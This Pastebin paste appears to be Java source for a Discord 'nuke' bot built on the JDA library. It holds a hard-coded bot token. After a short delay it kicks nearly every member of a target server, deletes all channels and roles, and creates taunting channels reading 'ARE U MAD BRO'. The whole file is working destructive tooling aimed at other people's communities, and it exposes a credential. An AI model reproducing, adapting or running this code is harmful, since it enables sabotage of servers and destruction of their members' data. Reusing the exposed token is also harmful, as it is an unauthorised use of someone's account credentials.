dnuhax

Untitled

Dec 7th, 2019
144
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.77 KB | None | 0 0
  1.  
  2. import java.util.ArrayList;
  3. import java.util.EnumSet;
  4.  
  5. import javax.security.auth.login.LoginException;
  6.  
  7. import net.dv8tion.jda.api.AccountType;
  8. import net.dv8tion.jda.api.JDA;
  9. import net.dv8tion.jda.api.JDABuilder;
  10. import net.dv8tion.jda.api.OnlineStatus;
  11. import net.dv8tion.jda.api.entities.Guild;
  12. import net.dv8tion.jda.api.entities.GuildChannel;
  13. import net.dv8tion.jda.api.entities.Member;
  14. import net.dv8tion.jda.api.entities.MessageChannel;
  15. import net.dv8tion.jda.api.entities.Role;
  16. import net.dv8tion.jda.api.entities.TextChannel;
  17. import net.dv8tion.jda.api.events.message.MessageReceivedEvent;
  18. import net.dv8tion.jda.api.hooks.ListenerAdapter;
  19. import net.dv8tion.jda.api.requests.restaction.ChannelAction;
  20. import net.dv8tion.jda.api.utils.Compression;
  21. import net.dv8tion.jda.api.utils.cache.CacheFlag;
  22.  
  23. public class Main extends ListenerAdapter {
  24. private static JDA jda;
  25. private static ArrayList<String> createchannels = new ArrayList<String>();
  26. private static ArrayList<String> userwhitelist = new ArrayList<String>();
  27.  
  28. public static void main(String[] args) {
  29. //token
  30. JDABuilder builder = new JDABuilder(AccountType.BOT).setToken("NTY1OTg4NDYwMTg4NjYzODEx.XcBsrw.z_VEZukibyt4oXrLPpMD2FI0dsk").addEventListeners(new Main());
  31.  
  32. // Disable parts of the cache
  33. builder.setDisabledCacheFlags(EnumSet.of(CacheFlag.ACTIVITY, CacheFlag.VOICE_STATE));
  34. // Disable parts of the cache
  35. builder.setDisabledCacheFlags(EnumSet.of(CacheFlag.ACTIVITY, CacheFlag.VOICE_STATE));
  36. // Enable the bulk delete event
  37. builder.setBulkDeleteSplittingEnabled(false);
  38. // Disable compression (not recommended)
  39. builder.setCompression(Compression.NONE);
  40. // Set activity (like "playing Something")
  41. // builder.setActivity(Activity.watching("TV"));
  42. builder.setStatus(OnlineStatus.OFFLINE);
  43. try {
  44. jda = builder.build();
  45. } catch (LoginException e) {
  46. // TODO Auto-generated catch block
  47. e.printStackTrace();
  48. }
  49. if (jda == null) {
  50. System.out.println("Jda is null!");
  51. System.exit(-1);
  52. }
  53. String split = "ARE U MAD BRO Question mark";
  54. String[] channels = split.split(" ");
  55. for (String s:channels) {
  56. createchannels.add(s);
  57. }
  58. //Hier ist eine Whitelist für die Leute die nicht gekickt werden sollen.
  59. //Für die Aufnahme!
  60. userwhitelist.add("Cinquha");
  61. new Thread() {
  62. @Override
  63. public void run() {
  64. try {
  65. Thread.sleep(5000);
  66. } catch (InterruptedException e) {
  67. // TODO Auto-generated catch block
  68. e.printStackTrace();
  69. }
  70. nuke(jda.getGuildById(GUILDid));
  71. }
  72. }.start();
  73. }
  74.  
  75. public static void nuke(Guild guild) {
  76. System.out.println("Started nuking...");
  77. for (Member member : guild.getMembers()) {
  78. if (member.getUser().isBot()) continue;
  79. if (member.isOwner()) continue;
  80. if (userwhitelist.contains(member.getNickname()) || userwhitelist.contains(member.getEffectiveName())) continue;
  81. try {
  82. member.kick("Ey!").queue();
  83. System.out.println("Kicked " + member.getEffectiveName());
  84. Thread.sleep(40);
  85. } catch (Exception e) {
  86. System.out.println("Failed to kick " + member.getEffectiveName());
  87. try {
  88. Thread.sleep(40);
  89. }catch (Exception ex1) {
  90. }
  91. }
  92. }
  93. for (GuildChannel channel : guild.getChannels()) {
  94. channel.delete().queue();
  95. System.out.println("Deleted channel " + channel.getName());
  96. try {
  97. Thread.sleep(40);
  98. }catch (Exception ex1) {
  99. }
  100. }
  101. for (Role role : guild.getRoles()) {
  102. try {
  103. role.delete().queue();
  104. System.out.println("Deleted role " + role.getName());
  105. try {
  106. Thread.sleep(40);
  107. }catch (Exception ex1) {
  108. }
  109. } catch (Exception e) {
  110. System.out.println("Failed delete role " + role.getName());
  111. try {
  112. Thread.sleep(40);
  113. }catch (Exception ex1) {
  114. }
  115. }
  116. }
  117. int i = 0;
  118. for (String channel:createchannels) {
  119. System.out.println("Created channel " + channel);
  120. ChannelAction<TextChannel> tchannel = guild.createTextChannel(channel);
  121. tchannel.queue();
  122. tchannel.complete();
  123. i++;
  124. }
  125. System.out.println("NUKED!");
  126. System.exit(0);
  127. }
  128. }
Advertisement
Add Comment
Please, Sign In to add comment